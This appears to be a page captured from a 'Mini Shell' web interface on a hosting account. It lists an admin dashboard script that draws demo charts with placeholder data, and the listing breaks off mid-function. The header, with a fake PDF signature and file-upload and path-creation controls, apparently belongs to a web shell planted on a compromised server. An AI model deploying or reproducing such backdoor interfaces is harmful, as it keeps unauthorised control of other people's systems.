%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/silvzytp/crm-ind.silveroak.website/assets/js/
Upload File :
Create Path :
Current File : /home/silvzytp/crm-ind.silveroak.website/assets/js/home.script.js

(function ($) {
    "use strict";
    var primarycolor = getComputedStyle(document.body).getPropertyValue('--primarycolor');
    var bordercolor = getComputedStyle(document.body).getPropertyValue('--bordercolor');
    var bodycolor = getComputedStyle(document.body).getPropertyValue('--bodycolor');
    var theme = 'light';
    if ($('body').hasClass('dark')) {
        theme = 'dark';
    }
    if ($('body').hasClass('dark-alt')) {
        theme = 'dark';
    }
     if ($('body').hasClass('gradient')) {
        theme = 'dark';
    }
////////////////////////////////// LIne Chart /////////////////////////////
    if ($("#apex_today_order").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 80,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#1e3d73',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#1e3d73'],
            tooltip: {
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 80,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#apex_today_order"),
                options
                );
        chart.render();
    }

    if ($("#apex_today_visitors").length > 0)
    {
        options = {
            chart: {
                type: 'line',
                height: 80,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#28a745',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [41, 9, 36, 12, 44, 25, 59, 41, 66, 25]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#28a745'],
            tooltip: {
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 80,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#apex_today_visitors"),
                options
                );
        chart.render();
    }
    if ($("#apex_today_sale").length > 0)
    {
        options = {
            chart: {
                type: 'line',
                height: 80,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#17a2b8',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [7, 9, 36, 12, 44, 25, 59, 41, 12, 25]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#17a2b8'],
            tooltip: {
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 80,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#apex_today_sale"),
                options
                );
        chart.render();
    }
    if ($("#apex_today_profit").length > 0)
    {
        options = {
            chart: {
                type: 'line',
                height: 80,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#ffc107',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [21, 9, 36, 12, 44, 25, 59, 41, 66, 25]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#ffc107'],
            tooltip: {
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 80,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#apex_today_profit"),
                options
                );
        chart.render();
    }

/////////////////////////////////// Mixed Chart /////////////////////
    if ($("#apex_mixed_chart").length > 0)
    {
        options = {
            theme: {
                mode: theme
            },
            chart: {
                height: 462,
                type: 'area',
                stacked: false,
            },
            responsive: [
                {
                    breakpoint: 767,
                    options: {
                        chart: {
                            height: 262
                        }
                    }
                }
            ],
            stroke: {
                width: [1, 1, 1],
                curve: 'smooth'
            },
            plotOptions: {
                bar: {
                    columnWidth: '50%'
                }
            },
            colors: ['#1e3d73', '#17a2b8'],
            series: [{
                    name: 'Orders',
                    type: 'area',
                    data: [23, 11, 22, 27, 13, 22, 37, 21, 44, 22, 30]
                }, {
                    name: 'Sale',
                    type: 'area',
                    data: [30, 25, 36, 30, 45, 35, 64, 52, 59, 36, 39]
                }],
            fill: {
                opacity: [0.85, 0.25, 1],
                gradient: {
                    inverseColors: false,
                    shade: 'light',
                    type: "vertical",
                    opacityFrom: 0.85,
                    opacityTo: 0.55,
                    stops: [0, 100, 100, 100]
                }
            },
            labels: ['01/01/2003', '02/01/2003', '03/01/2003', '04/01/2003', '05/01/2003', '06/01/2003', '07/01/2003', '08/01/2003', '09/01/2003', '10/01/2003', '11/01/2003'],
            markers: {
                size: 0
            },
            xaxis: {
                type: 'datetime'
            },
            yaxis: {
                min: 0
            },
            tooltip: {
                shared: true,
                intersect: false,
                y: {
                    formatter: function (y) {
                        if (typeof y !== "undefined") {
                            return  y.toFixed(0) + " views";
                        }
                        return y;
                    }
                }
            },
            legend: {
                labels: {
                    useSeriesColors: true
                }
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#apex_mixed_chart"),
                options
                );
        chart.render();
    }
/////////////////////////////////// Corona Chart /////////////////////
    if ($("#chartjs_corona").length > 0)
    {

        var config = {
            type: 'line',
            data: {
                labels: ['January', 'February', 'March', 'April', 'May', 'June', 'July'],
                datasets: [{
                        label: 'Coronavirus Cases',
                        borderColor: primarycolor,
                        backgroundColor: 'rgba(30, 61, 115, 0.2)',
                        data: [10, 20, 39, 20, 54, 46, 79],
                        borderWidth: 1
                    }, {
                        label: 'Recovered',
                        borderColor: '#17a2b8',
                        backgroundColor: 'rgba(23, 162, 184, 0.2)',
                        data: [27, 69, 22, 55, 31, 50, 30],
                        borderWidth: 1
                    }]
            },
            options: {
                responsive: true,
                tooltips: {
                    mode: 'index',
                },
                hover: {
                    mode: 'index'
                },
                legend: {
                    position: 'top',
                    display: false,
                    labels: {
                        fontColor: bodycolor
                    }
                },
                scales: {
                    xAxes: [{
                            gridLines: {
                                display: true,
                                color: bordercolor,
                                zeroLineColor: bordercolor
                            },
                            ticks: {
                                fontColor: bodycolor,
                            },
                        }],
                    yAxes: [{

                            gridLines: {
                                display: true,
                                color: bordercolor,
                                zeroLineColor: bordercolor
                            },
                            ticks: {
                                fontColor: bodycolor,
                            }
                        }]
                }
            }
        };
        var chartjs_area_stacked = document.getElementById("chartjs_corona");
        if (chartjs_area_stacked) {
            var ctx = document.getElementById('chartjs_corona').getContext('2d');
            window.myLine = new Chart(ctx, config);
        }

    }

/////////////////////// Map ///////////////////////
    if ($("#world-map-gdp").length > 0)
    {
        var map,
                markers = [
                    {latLng: [52.50, 13.39], name: 'Berlin'},
                    {latLng: [53.56, 10.00], name: 'Hamburg'},
                    {latLng: [48.13, 11.56], name: 'Munich'},
                    {latLng: [50.95, 6.96], name: 'Cologne'},
                    {latLng: [50.11, 8.68], name: 'Frankfurt am Main'},
                    {latLng: [48.77, 9.17], name: 'Stuttgart'},
                    {latLng: [51.23, 6.78], name: 'D�sseldorf'},
                    {latLng: [51.51, 7.46], name: 'Dortmund'},
                    {latLng: [51.45, 7.01], name: 'Essen'},
                    {latLng: [53.07, 8.80], name: 'Bremen'}
                ],
                cityAreaData = [
                    887.70,
                    755.16,
                    310.69,
                    405.17,
                    248.31,
                    207.35,
                    217.22,
                    280.71,
                    210.32,
                    325.42
                ];
        map = new jvm.Map({
            container: $('#world-map-gdp'),
            backgroundColor: 'transparent',
            map: 'us_aea',
            regionsSelectable: true,
            markersSelectable: true,
            markers: markers,
            markerStyle: {
                initial: {
                    fill: primarycolor
                },
                selected: {
                    fill: primarycolor
                }
            },
            regionStyle: {
                initial: {
                    fill: primarycolor
                },
                selected: {
                    fill: primarycolor
                }
            },
            series: {
                markers: [{
                        attribute: 'r',
                        scale: [5, 15],
                        values: cityAreaData
                    }]
            },
            onRegionSelected: function () {
                if (window.localStorage) {
                    window.localStorage.setItem(
                            'jvectormap-selected-regions',
                            JSON.stringify(map.getSelectedRegions())
                            );
                }
            },
            onMarkerSelected: function () {
                if (window.localStorage) {
                    window.localStorage.setItem(
                            'jvectormap-selected-markers',
                            JSON.stringify(map.getSelectedMarkers())
                            );
                }
            }
        });
    }
//////////////////////////// Stacking /////////////////////////////////
    if ($("#flot-stacking").length > 0)
    {
        var data1 = [[0, 12], [1, 10], [2, 7], [3, 11], [4, 15], [5, 20], [6, 22], [7, 19], [8, 18], [9, 20], [10, 17], [11, 19], [12, 18], [13, 14], [14, 9]];
        var data2 = [[0, 2], [1, 1], [2, 2], [3, 4], [4, 2], [5, 1], [6, 0], [7, 0], [8, 5], [9, 2], [10, 8], [11, 6], [12, 9], [13, 2], [14, 0]];
        var flotChartOption = {
            series: {
                shadowSize: 0,
                bars: {
                    show: true,
                    lineWidth: 0,
                    barWidth: .5,
                    fill: 1
                }
            },
            grid: {
                aboveData: true,
                color: '#17a2b8',
                borderWidth: 0,
                labelMargin: 0
            },
            yaxis: {
                show: false,
                min: 0,
                max: 25
            },
            xaxis: {
                show: false
            }
        };
        $.plot('#flot-stacking', [{
                data: data1,
                color: '#17a2b8'
            }, {
                data: data2,
                color: primarycolor
            }], flotChartOption);
    }

    if ($('.barfiller').length > 0)
    {
        $(".barfiller").each(function () {
            $(this).barfiller({barColor: $(this).data('color')});
        });
    }


/////////////////////////////////// Analytic Chart /////////////////////
    if ($("#apex_analytic_chart").length > 0)
    {
        options = {
            theme: {
                mode: theme
            },
            chart: {
                height: 350,
                type: 'bar',
            },
            responsive: [
                {
                    breakpoint: 767,
                    options: {
                        chart: {
                            height: 220
                        }
                    }
                }
            ],
            plotOptions: {
                bar: {
                    horizontal: false,
                    columnWidth: '55%',
                    endingShape: 'rounded'
                },
            },
            dataLabels: {
                enabled: false
            },
            stroke: {
                show: true,
                width: 2,
                colors: ['transparent']
            },
            colors: ['#1e3d73', '#17a2b8', '#1ee0ac'],
            series: [{
                    name: 'Total Visits',
                    data: [76, 85, 101, 98, 87, 105, 91, 114, 94]
                }, {
                    name: 'Total Sessions',
                    data: [44, 55, 57, 56, 61, 58, 63, 60, 66]
                }, {
                    name: 'Page View',
                    data: [35, 41, 36, 26, 45, 48, 52, 53, 41]
                }],
            xaxis: {
                categories: ['Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct'],
            },
            yaxis: {
                title: {
                    text: '(thousands)'
                }
            },
            fill: {
                opacity: 1

            },
            tooltip: {
                y: {
                    formatter: function (val) {
                        return val + " thousands"
                    }
                }
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#apex_analytic_chart"),
                options
                );
        chart.render();
    }



////////////////////////////////// Analytic Stats Chart /////////////////////////////
    if ($("#analitic_state1").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#1e3d73',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#1e3d73'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state1"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state2").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#1ee0ac',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#1ee0ac'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state2"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state3").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#17a2b8',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#17a2b8'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state3"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state4").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#ffc107',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#ffc107'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state4"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state5").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#dc3545',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#dc3545'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state5"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state6").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#343a40',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#343a40'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state6"),
                options
                );
        chart.render();
    }

    if ($("#analitic_state7").length > 0)
    {
        var options = {
            chart: {
                type: 'line',
                height: 20,
                width: 60,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#6c757d',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [18, 7, 32, 14, 42, 28, 62, 43, 68, 27]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#6c757d'],
            tooltip: {
                enabled: false,
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 20,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#analitic_state7"),
                options
                );
        chart.render();
    }


/////////////////////// Index 4 Script /////////////////////////


    if ($("#apex_primary_chart").length > 0)
    {
        options = {
            chart: {
                type: 'line',
                height: 80,
                sparkline: {
                    enabled: true
                },
                dropShadow: {
                    enabled: true,
                    top: 1,
                    left: 1,
                    blur: 2,
                    color: '#000',
                    opacity: 0.7,
                }
            },
            series: [{
                    data: [41, 9, 36, 12, 44, 25, 59, 41, 66, 25]
                }],
            stroke: {
                curve: 'smooth',
                width: 2,
            },
            markers: {
                size: 0
            },
            grid: {
                padding: {
                    top: 0,
                    bottom: 0,
                    left: 0
                }
            },
            colors: ['#1e3d73'],
            tooltip: {
                x: {
                    show: false
                },
                y: {
                    title: {
                        formatter: function formatter(val) {
                            return '';
                        }
                    }
                }
            },
            responsive: [{
                    breakpoint: 1351,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                },
                {
                    breakpoint: 1200,
                    options: {
                        chart: {
                            height: 80,
                        },
                        grid: {
                            padding: {
                                top: 35,
                                bottom: 0,
                                left: 40
                            }
                        },
                    },
                },
                {
                    breakpoint: 576,
                    options: {
                        chart: {
                            height: 95,
                        },
                        grid: {
                            padding: {
                                top: 45,
                                bottom: 0,
                                left: 0
                            }
                        },
                    },
                }

            ]
        }


        var chart = new ApexCharts(
                document.querySelector("#apex_primary_chart"),
                options
                );
        chart.render();
    }


    if ($("#apex_main_chart").length > 0)
    {
        options = {
            theme: {
                mode: theme
            },
            chart: {
                height: 380,
                type: 'area',
                stacked: false,
                toolbar: {
                    show: false
                }
            },
            dataLabels: {
                enabled: false
            },
            stroke: {
                width: [1, 1, 1],
                curve: 'smooth'
            },
            plotOptions: {
                bar: {
                    columnWidth: '50%'
                }
            },
            colors: ['#1e3d73', '#17a2b8'],
            series: [{
                    name: 'Orders',
                    type: 'area',
                    data: [23, 11, 22, 27, 13, 22, 37, 21, 44, 22, 30]
                }, {
                    name: 'Sale',
                    type: 'area',
                    data: [30, 25, 36, 30, 45, 35, 64, 52, 59, 36, 39]
                }],
            fill: {
                opacity: [0.85, 0.25, 1],
                gradient: {
                    inverseColors: false,
                    shade: 'light',
                    type: "vertical",
                    opacityFrom: 0.85,
                    opacityTo: 0.55,
                    stops: [0, 100, 100, 100]
                }
            },
            labels: ['01/01/2003', '02/01/2003', '03/01/2003', '04/01/2003', '05/01/2003', '06/01/2003', '07/01/2003', '08/01/2003', '09/01/2003', '10/01/2003', '11/01/2003'],
            markers: {
                size: 0
            },
            xaxis: {
                type: 'datetime'
            },
            yaxis: {
                min: 0
            },
            tooltip: {
                shared: true,
                intersect: false,
                y: {
                    formatter: function (y) {
                        if (typeof y !== "undefined") {
                            return  y.toFixed(0) + " views";
                        }
                        return y;
                    }
                }
            },
            legend: {
                show: false,
                labels: {
                    useSeriesColors: true
                }
            }
        }

        var chart = new ApexCharts(
                document.querySelector("#apex_main_chart"),
                options
                );
        chart.render();
    }
/////////////////////////////////// Bar Chart /////////////////////
    if ($("#apex_bar_chart").length > 0)
    {
        options = {
            theme: {
                mode: theme
            },
            grid: {

                yaxis: {
                    lines: {
                        show: false
                    }
                }
            },
            chart: {
                height: 318,
                type: 'bar',
            },
            plotOptions: {
                bar: {
                    horizontal: true,
                    columnWidth: '10',
                }
            },
            dataLabels: {
                enabled: false
            },
            colors: ['#1e3d73'],
            series: [{
                    data: [400, 430, 448, 470, 540, 580]
                }],
            xaxis: {
                categories: ['South Korea', 'Canada', 'United Kingdom', 'Netherlands', 'Italy', 'France']

            }
        }

        var chart = new ApexCharts(
                document.querySelector("#apex_bar_chart"),
                options
                );
        chart.render();
    }

    if ($("#flot-report").length > 0)
    {
        var data1 = [[0, 12], [1, 10], [2, 7], [3, 11], [4, 15], [5, 20], [6, 22], [7, 19], [8, 18], [9, 20], [10, 17], [11, 19], [12, 18], [13, 14], [14, 9]];
        var data2 = [[0, 2], [1, 1], [2, 2], [3, 4], [4, 2], [5, 1], [6, 0], [7, 0], [8, 5], [9, 2], [10, 8], [11, 6], [12, 9], [13, 2], [14, 0]];
        var flotChartOption = {
            series: {
                shadowSize: 0,
                bars: {
                    show: true,
                    lineWidth: 0,
                    barWidth: .5,
                    fill: 1
                }
            },
            grid: {
                aboveData: true,
                color: '#17a2b8',
                borderWidth: 0,
                labelMargin: 0
            },
            yaxis: {
                show: false,
                min: 0,
                max: 25
            },
            xaxis: {
                show: false
            }
        };
        $.plot('#flot-report', [{
                data: data1,
                color: '#ffc107'
            }, {
                data: data2,
                color: primarycolor
            }], flotChartOption);
    }

    var config = {
        type: 'doughnut',
        data: {
            datasets: [{
                    data: [3, 28, 67],
                    backgroundColor: [
                        '#1e3d73',
                        '#17a2b8',
                        '#ffc107'
                    ],
                    label: 'Dataset 1'
                }],
            labels: [
                'Mobile',
                'Desktop',
                'Laptop'
            ]
        },
        options: {
            responsive: true,
            maintainAspectRatio: false,
            legend: {
                display: true,
                position: 'bottom',
                labels: {
                    fontColor: bodycolor
                }
            },
            animation: {
                animateScale: true,
                animateRotate: true
            },
        }
    };
    var chartjs_other_pie = document.getElementById("chartjs-other-pie");
    if (chartjs_other_pie) {
        var ctx = document.getElementById('chartjs-other-pie').getContext('2d');
        window.myDoughnut = new Chart(ctx, config);
    }


/////////////////////////////////// Analytic Chart /////////////////////
    if ($("#apex_crypto_chart").length > 0)
    {
        options = {
            theme: {
                mode: theme
            },
            chart: {
                height: 320,
                type: 'bar',
            },
            responsive: [
                {
                    breakpoint: 767,
                    options: {
                        chart: {
                            height: 220
                        }
                    }
                }
            ],
            plotOptions: {
                bar: {
                    horizontal: false,
                    columnWidth: '55%',
                    endingShape: 'rounded'
                },
            },
            dataLabels: {
                enabled: false
            },
            stroke: {
                show: true,
                width: 2,
                colors: ['transparent']
            },
            colors: ['#1e3d73', '#17a2b8'],
            series: [{
                    name: 'Bitcoin',
                    data: [76, 85, 101, 98, 87, 105, 91, 114, 94]
                }, {
                    name: 'Ethereum',
                    data: [44, 55, 57, 56, 61, 58, 63, 60, 66]
                }],
            xaxis: {
                categories: ['Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct'],
            },
            yaxis: {
                title: {
                    text: '(dollar)'
                }
            },
            fill: {
                opacity: 1

            },
            tooltip: {
                y: {
                    formatter: function (val) {
